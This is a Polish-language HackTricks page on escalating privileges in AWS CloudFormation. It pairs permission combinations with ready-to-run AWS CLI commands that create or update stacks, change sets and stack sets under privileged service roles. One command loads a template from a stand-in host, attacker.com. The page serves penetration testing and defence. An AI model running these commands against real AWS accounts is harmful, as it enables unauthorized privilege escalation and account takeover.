AWS - Cloudformation Privesc

Wsparcie dla HackTricks

cloudformation

Aby uzyskać więcej informacji na temat cloudformation, sprawdź:

iam:PassRole, cloudformation:CreateStack

Atakujący z tymi uprawnieniami może eskalować uprawnienia poprzez stworzenie stosu CloudFormation z niestandardowym szablonem, hostowanym na ich serwerze, aby wykonywać działania w ramach uprawnień określonej roli:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Na poniższej stronie masz przykład eksploatacji z dodatkowym uprawnieniem cloudformation:DescribeStacks:

Potencjalny wpływ: Privesc do roli serwisu cloudformation określonej.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

W tym przypadku możesz nadużyć istniejącego stosu cloudformation, aby go zaktualizować i eskalować uprawnienia, jak w poprzednim scenariuszu:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Uprawnienie cloudformation:SetStackPolicy może być użyte do przyznania sobie uprawnienia UpdateStack nad stosem i przeprowadzenia ataku.

Potencjalny wpływ: Privesc do roli usługi cloudformation określonej.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Jeśli masz to uprawnienie, ale brak iam:PassRole, nadal możesz aktualizować stosy używane i nadużywać ról IAM, które już mają przypisane. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).

Uprawnienie cloudformation:SetStackPolicy może być użyte do przyznania sobie uprawnienia UpdateStack nad stosem i przeprowadzenia ataku.

Potencjalny wpływ: Privesc do roli usługi cloudformation już przypisanej.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Atakujący z uprawnieniami do przekazywania roli oraz tworzenia i wykonywania ChangeSet może utworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation tak samo jak w przypadku CreateStack lub UpdateStack.

Poniższe wykorzystanie to wariant CreateStack wykorzystujący uprawnienia ChangeSet do utworzenia stosu.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Uprawnienie cloudformation:SetStackPolicy może być użyte do nadania sobie uprawnień ChangeSet nad stosem i przeprowadzenia ataku.

Potencjalny wpływ: Privesc do ról serwisowych cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

To jest jak poprzednia metoda, ale bez przekazywania ról IAM, więc możesz po prostu wykorzystać już dołączone, wystarczy zmodyfikować parametr:

--change-set-type UPDATE

Potencjalny wpływ: Privesc do roli usługi cloudformation, która jest już dołączona.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSets w celu nadużycia dowolnych ról cloudformation.

Potencjalny wpływ: Privesc do ról usługi cloudformation.

cloudformation:UpdateStackSet

Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.

Potencjalny wpływ: Privesc do dołączonych ról cloudformation.

Odniesienia

Wsparcie dla HackTricks

Last updated